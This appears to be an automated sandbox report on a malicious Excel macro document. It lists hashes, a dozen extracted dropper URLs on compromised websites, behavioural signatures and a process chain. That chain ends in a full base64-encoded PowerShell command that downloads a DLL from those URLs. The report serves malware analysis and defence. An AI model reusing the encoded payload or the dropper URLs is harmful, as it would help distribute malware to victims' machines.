Analysis
- max time kernel
168s - max time network
160s - platform
windows10-2004_x64 - resource
win10v2004-en-20220113 - submitted
07/02/2022, 22:23
Static task
static1
Behavioral task
behavioral1
Sample
tmpkx8r5x27.xls
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
tmpkx8r5x27.xls
Resource
win10v2004-en-20220113
General
- Target tmpkx8r5x27.xls
- Size 123KB
- Sample220207-2at38saebl
- SHA256 a4b1a3ac3d72dd610308e4567b22972e7cc07e1d121dfc3a0d4a9aec21d1b919
- MD5 3cd7e5a05b2bf3fbc3e8c860835bca2a
- SHA1 0dc27580bcfdce9b037b882f1683198cae7a3e37
- SHA512 3822789db0afe3767f209cc9214fea13545eafb748c51242be1835ed9e9689b06ecbee66bbd264da8ec31bf622a41b9b9d8450de83fb0271cb230a4d02a1123b
- MD5 SHA1 SHA512
Malware Config
Extracted
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ps1
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exe.dropper
http://harperhouseproducts.com/Merchant2/ARsf1LIcOauhH1rDrIh/
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exe.dropper
http://holubvideo.com/eln-images/zqqgZ0YXaPiWbF/
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exe.dropper
http://magicblog.tatamotors.com/wp-includes/7faN9/
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exe.dropper
http://chastongroditski.com/eln-images/skSsCLJtI24kZvo/
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exe.dropper
http://seacupps.com/eln-images/AYvykzg/
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exe.dropper
http://ericandrobin.com/cgi/qRe8dRaG2HDNOOG1/
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exe.dropper
http://sosantiques.com/cgi/9ii/
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exe.dropper
https://greenlawnirrigation.net/GLI_New/JRlt3mOiezE/
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exe.dropper
https://on-lineventures.com/cgi/ks0Mp/
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exe.dropper
http://sunriseconsultant.com/eln-images/sO4XvFBsevCRf/
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exe.dropper
http://blog.logo123.com/wp-content/19G04LjA1UcE1tN8/
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exe.dropper
http://intrablog.tatamotors.com/wp-includes/MGGi5zcZrkolFH9/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 5008 3604 wscript.exe 82 - Blocklisted process makes network request 1 IoCs
flow pid Process 80 3864 powershell.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation wscript.exe - Drops file in Windows directory 8 IoCs
description ioc Process File opened for modification C:\Windows\WindowsUpdate.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.edb svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm svchost.exe File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log svchost.exe File opened for modification C:\Windows\Logs\CBS\CBS.log TiWorker.exe File opened for modification C:\Windows\WinSxS\pending.xml TiWorker.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE - Modifies data under HKEY_USERS 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3604 EXCEL.EXE - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3864 powershell.exe 3864 powershell.exe - Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeShutdownPrivilege 2780 svchost.exe Token: SeCreatePagefilePrivilege 2780 svchost.exe Token: SeShutdownPrivilege 2780 svchost.exe Token: SeCreatePagefilePrivilege 2780 svchost.exe Token: SeShutdownPrivilege 2780 svchost.exe Token: SeCreatePagefilePrivilege 2780 svchost.exe Token: SeDebugPrivilege 3864 powershell.exe Token: SeSecurityPrivilege 2012 TiWorker.exe Token: SeRestorePrivilege 2012 TiWorker.exe Token: SeBackupPrivilege 2012 TiWorker.exe Token: SeBackupPrivilege 2012 TiWorker.exe Token: SeRestorePrivilege 2012 TiWorker.exe Token: SeSecurityPrivilege 2012 TiWorker.exe Token: SeBackupPrivilege 2012 TiWorker.exe Token: SeRestorePrivilege 2012 TiWorker.exe Token: SeSecurityPrivilege 2012 TiWorker.exe Token: SeBackupPrivilege 2012 TiWorker.exe Token: SeRestorePrivilege 2012 TiWorker.exe Token: SeSecurityPrivilege 2012 TiWorker.exe Token: SeBackupPrivilege 2012 TiWorker.exe Token: SeRestorePrivilege 2012 TiWorker.exe Token: SeSecurityPrivilege 2012 TiWorker.exe Token: SeBackupPrivilege 2012 TiWorker.exe Token: SeRestorePrivilege 2012 TiWorker.exe Token: SeSecurityPrivilege 2012 TiWorker.exe Token: SeBackupPrivilege 2012 TiWorker.exe Token: SeRestorePrivilege 2012 TiWorker.exe Token: SeSecurityPrivilege 2012 TiWorker.exe Token: SeBackupPrivilege 2012 TiWorker.exe Token: SeRestorePrivilege 2012 TiWorker.exe Token: SeSecurityPrivilege 2012 TiWorker.exe - Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 3604 EXCEL.EXE 3604 EXCEL.EXE 3604 EXCEL.EXE 3604 EXCEL.EXE 3604 EXCEL.EXE 3604 EXCEL.EXE 3604 EXCEL.EXE 3604 EXCEL.EXE 3604 EXCEL.EXE 3604 EXCEL.EXE 3604 EXCEL.EXE 3604 EXCEL.EXE - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3604 wrote to memory of 5008 3604 EXCEL.EXE 98 PID 3604 wrote to memory of 5008 3604 EXCEL.EXE 98 PID 5008 wrote to memory of 4556 5008 wscript.exe 100 PID 5008 wrote to memory of 4556 5008 wscript.exe 100 PID 4556 wrote to memory of 3864 4556 cmd.exe 102 PID 4556 wrote to memory of 3864 4556 cmd.exe 102
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpkx8r5x27.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3604 -
C:\Windows\SYSTEM32\wscript.exewscript c:\programdata\yhjlswle.vbs2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5008 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\programdata\ughldskbhn.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:4556 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc JABNAEoAWABkAGYAcwBoAEQAcgBmAEcAWgBzAGUAcwA0AD0AIgBoAHQAdABwADoALwAvAGgAYQByAHAAZQByAGgAbwB1AHMAZQBwAHIAbwBkAHUAYwB0AHMALgBjAG8AbQAvAE0AZQByAGMAaABhAG4AdAAyAC8AQQBSAHMAZgAxAEwASQBjAE8AYQB1AGgASAAxAHIARAByAEkAaAAvACwAaAB0AHQAcAA6AC8ALwBoAG8AbAB1AGIAdgBpAGQAZQBvAC4AYwBvAG0ALwBlAGwAbgAtAGkAbQBhAGcAZQBzAC8AegBxAHEAZwBaADAAWQBYAGEAUABpAFcAYgBGAC8ALABoAHQAdABwADoALwAvAG0AYQBnAGkAYwBiAGwAbwBnAC4AdABhAHQAYQBtAG8AdABvAHIAcwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8ANwBmAGEATgA5AC8ALABoAHQAdABwADoALwAvAGMAaABhAHMAdABvAG4AZwByAG8AZABpAHQAcwBrAGkALgBjAG8AbQAvAGUAbABuAC0AaQBtAGEAZwBlAHMALwBzAGsAUwBzAEMATABKAHQASQAyADQAawBaAHYAbwAvACwAaAB0AHQAcAA6AC8ALwBzAGUAYQBjAHUAcABwAHMALgBjAG8AbQAvAGUAbABuAC0AaQBtAGEAZwBlAHMALwBBAFkAdgB5AGsAegBnAC8ALABoAHQAdABwADoALwAvAGUAcgBpAGMAYQBuAGQAcgBvAGIAaQBuAC4AYwBvAG0ALwBjAGcAaQAvAHEAUgBlADgAZABSAGEARwAyAEgARABOAE8ATwBHADEALwAsAGgAdAB0AHAAOgAvAC8AcwBvAHMAYQBuAHQAaQBxAHUAZQBzAC4AYwBvAG0ALwBjAGcAaQAvADkAaQBpAC8ALABoAHQAdABwAHMAOgAvAC8AZwByAGUAZQBuAGwAYQB3AG4AaQByAHIAaQBnAGEAdABpAG8AbgAuAG4AZQB0AC8ARwBMAEkAXwBOAGUAdwAvAEoAUgBsAHQAMwBtAE8AaQBlAHoARQAvACwAaAB0AHQAcABzADoALwAvAG8AbgAtAGwAaQBuAGUAdgBlAG4AdAB1AHIAZQBzAC4AYwBvAG0ALwBjAGcAaQAvAGsAcwAwAE0AcAAvACwAaAB0AHQAcAA6AC8ALwBzAHUAbgByAGkAcwBlAGMAbwBuAHMAdQBsAHQAYQBuAHQALgBjAG8AbQAvAGUAbABuAC0AaQBtAGEAZwBlAHMALwBzAE8ANABYAHYARgBCAHMAZQB2AEMAUgBmAC8ALABoAHQAdABwADoALwAvAGIAbABvAGcALgBsAG8AZwBvADEAMgAzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AMQA5AEcAMAA0AEwAagBBADEAVQBjAEUAMQB0AE4AOAAvACwAaAB0AHQAcAA6AC8ALwBpAG4AdAByAGEAYgBsAG8AZwAuAHQAYQB0AGEAbQBvAHQAbwByAHMALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAE0ARwBHAGkANQB6AGMAWgByAGsAbwBsAEYASAA5AC8AIgAuAHMAUABMAEkAdAAoACIALAAiACkAOwAgAGYAbwBSAGUAQQBDAGgAKAAkAHkASQBkAHMAUgBoAHkAZQAzADQAcwB5AHUAZgBnAHgAagBjAGQAZgAgAGkATgAgACQATQBKAFgAZABmAHMAaABEAHIAZgBHAFoAcwBlAHMANAApAHsAJABHAHcAZQBZAEgANQA3AHMAZQBkAHMAdwBkAD0AIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXABiAG4AZQB1AGkAaABsAG8AdwBzAC4AZABsAGwAIgA7AGkAbgBWAE8AawBlAC0AdwBlAEIAcgBFAHEAVQBlAHMAVAAgAC0AdQBSAEkAIAAkAHkASQBkAHMAUgBoAHkAZQAzADQAcwB5AHUAZgBnAHgAagBjAGQAZgAgAC0AbwBVAHQARgBJAGwAZQAgACQARwB3AGUAWQBIADUANwBzAGUAZABzAHcAZAA7AGkARgAoAHQAZQBTAHQALQBwAEEAVABoACAAJABHAHcAZQBZAEgANQA3AHMAZQBkAHMAdwBkACkAewBpAGYAKAAoAGcARQB0AC0AaQB0AEUAbQAgACQARwB3AGUAWQBIADUANwBzAGUAZABzAHcAZAApAC4AbABlAE4ARwB0AGgAIAAtAGcAZQAgADQANwA0ADMANgApAHsAYgBSAGUAYQBrADsAfQB9AH0A4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3864
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵
- Modifies data under HKEY_USERS
PID:1148
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2780
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2012